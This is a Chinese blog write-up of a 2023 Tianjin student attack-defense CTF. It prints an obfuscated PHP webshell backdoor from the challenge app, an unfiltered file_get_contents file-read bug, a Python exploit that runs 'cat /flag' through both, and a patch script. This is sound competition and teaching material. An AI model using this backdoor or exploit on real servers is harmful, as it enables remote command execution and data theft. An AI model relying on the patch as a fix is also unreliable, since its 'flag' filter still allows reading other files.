天津市大学生信息安全网络攻防大赛

介绍

此次比赛设DAWD攻防赛和应急响应实战场景赛两个赛题类型,两种赛题同时开赛,其中:

① DAWD攻防赛会提供4个攻防题目环境,2个web题目环境,2个pwn题目环境,比赛开始时全部开放;

② 应急响应实战场景赛共一个场景,场景赛包含多个题目,根据问题的难度会设置不同的分值,选手可以通过提交不同题目获取相应的分值。

排名

队伍名字 NKV

DAWD攻防赛排名第一

应急响应排名第七

总分第一

过程

dawd的shop题目我们审计出了两个漏洞

第一个是在/config/config.php

1
2
3
4
5
6
7
8
9
10
11
<?php

@$_++;

$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");

$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");

${$__}[!$_](${$___}[$_]);

?>

一个明显的后门,相当于$_GET['0']($_POST['1'])

直接system('cat /flag')就行

另一个是在/controller/index.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php

class indexController extends medoo
{
function index()
{
$date = get('time');
switch ($date) {
case 'today':
$datas['time'] = 'today';
break;
case 'yestoday':
$datas['time'] = 'yestoday';
break;
case 'before':
$datas['time'] = 'before';
break;
default:
$datas['time'] = 'today';
break;
}
$datas['title'] = 'ASHOP';
$database = new index();
$datas['cats'] = $database->get_cats();

$user_data = array();
$user_data['time'] = time();
$user_data['ip'] = $_SERVER['REMOTE_ADDR'];

setcookie("AshopToken", base64_encode(serialize($user_data)));

$this->display( $datas );
}

function cat()
{
$catid = get('id');
$datas['title'] = 'cat | ASHOP';
$datas['catid'] = $catid;
$database = new index();
$datas['cats'] = $database->get_cats();

$this->display( $datas );
}

function more()
{
$date = get('time');
switch ($date) {
case 'today':
$time = date('Y-m-d',time());
break;
case 'yestoday':
$time = date('Y-m-d',strtotime('-1 day'));
break;
case 'before':
$time = date('Y-m-d',strtotime('-2 day'));
break;
}
$database = new index();
$datas['contents'] = $database->get_contents( $time );

$data = $datas['contents'];

$result = $database->get_more( $data );
echo $result;
}

function cat_more()
{
$catid = get('id');
$database = new index();
$datas['contents'] = $database->cat_contents( $catid );

$data = $datas['contents'];
//print_r($data);

$result = $database->get_more( $data );
echo $result;
}

function show_pic()
{
$pic = get('file');
if ($pic != null){
header("Content-type:image/jpeg");
echo file_get_contents($pic);
}
}

}

其中末尾处

1
2
3
4
5
6
7
8
function show_pic()
{
$pic = get('file');
if ($pic != null){
header("Content-type:image/jpeg");
echo file_get_contents($pic);
}
}

参数file直接作为变量进行file_get_contents,没有对变量进行过滤,导致直接?c=index&a=show_pic&file=/flag就可以拿到flag

这里直接贴上我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import re
import requests
import sys

# 正则匹配flag
def find_flag (str):
pattern = r'^flag\{.*\}$'
result = re.match(pattern, str).group(0)
return result

# 初始化
try:
HOST = sys.argv[1]
PORT = sys.argv[2]
except:
pass


url=f"http://{HOST}:{PORT}/config/config.php?0=system"
uri=""
target=url+uri
data={
'1':'cat /flag'
}
url2=f"http://{HOST}:{PORT}/?c=index&a=show_pic&file=php://filter/resource=/flag"


try:
a=requests.post(target,data=data)
print(find_flag(a.text))
except Exception as e:
a=requests.post(url2)
print((str(a.text)[-43:-1]))

patch也贴上

patch.sh

1
2
3
#!/bin/bash
python3 patch.py
cp index.class.php /var/www/html/controller/index.class.php

index.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php

class indexController extends medoo
{
function index()
{
$date = get('time');
switch ($date) {
case 'today':
$datas['time'] = 'today';
break;
case 'yestoday':
$datas['time'] = 'yestoday';
break;
case 'before':
$datas['time'] = 'before';
break;
default:
$datas['time'] = 'today';
break;
}
$datas['title'] = 'ASHOP';
$database = new index();
$datas['cats'] = $database->get_cats();

$user_data = array();
$user_data['time'] = time();
$user_data['ip'] = $_SERVER['REMOTE_ADDR'];

setcookie("AshopToken", base64_encode(serialize($user_data)));

$this->display($datas);
}

function cat()
{
$catid = get('id');
$datas['title'] = 'cat | ASHOP';
$datas['catid'] = $catid;
$database = new index();
$datas['cats'] = $database->get_cats();

$this->display($datas);
}

function more()
{
$date = get('time');
switch ($date) {
case 'today':
$time = date('Y-m-d', time());
break;
case 'yestoday':
$time = date('Y-m-d', strtotime('-1 day'));
break;
case 'before':
$time = date('Y-m-d', strtotime('-2 day'));
break;
}
$database = new index();
$datas['contents'] = $database->get_contents($time);

$data = $datas['contents'];

$result = $database->get_more($data);
echo $result;
}

function cat_more()
{
$catid = get('id');
$database = new index();
$datas['contents'] = $database->cat_contents($catid);

$data = $datas['contents'];
//print_r($data);

$result = $database->get_more($data);
echo $result;
}

function show_pic()
{
$pic = get('file');
if (strpos($pic, "flag") !== false) {
$pic = '';
}
if ($pic != null) {
header("Content-type:image/jpeg");
echo file_get_contents($pic);
}
}

}

patch.py

1
2
3
4
5
6
7
8
9
import os

file_path = "/var/www/html/config/config.php"

try:
os.remove(file_path)
print(f"File {file_path} has been successfully deleted.")
except OSError as e:
print(f"Error deleting {file_path}: {e}")

应急响应考察更多的是一些木马和勒索病毒的知识,模式与ctf答题模式差不多,只不过每道题给分是固定的。

总结

第一次打 dawd 模式,感觉 dawd 是 awd 的简化版,没有不死马这种一次打中每次都能拿分的骚操作,更加考验大家写脚本的速度和熟练度。

比赛有点水,主要靠dawd攻防拉分,因为我们队第三轮就开始拿分,等别的队伍开始拿分的时候就已经甩开好多分数了。

应急响应最后只差3道题没答上来,我没做几道题,主要靠队友c,队友tql。

关于这个比赛感觉初赛入围还是挺容易的,随便会做几道题就可以入围,复赛难度也不大,但是赛前没有培训就很离谱,都打上比赛了才去发提交exp的方法,很多队伍连awd都没怎么参与进来,几乎没有几只队伍防守的充分,导致先拿分的队伍比后拿分的队伍分数高了很多,后拿分的很难追上。

贴个题目链接:

web-shop
另一道web题,忘记名字了
pwn-ttt

还有一道pwn题找不到了。。。


天津市大学生信息安全网络攻防大赛
https://blog.lazyforever.top/2023/09/19/2023tianjindawd/
作者
lazy_forever
发布于
2023年9月19日
许可协议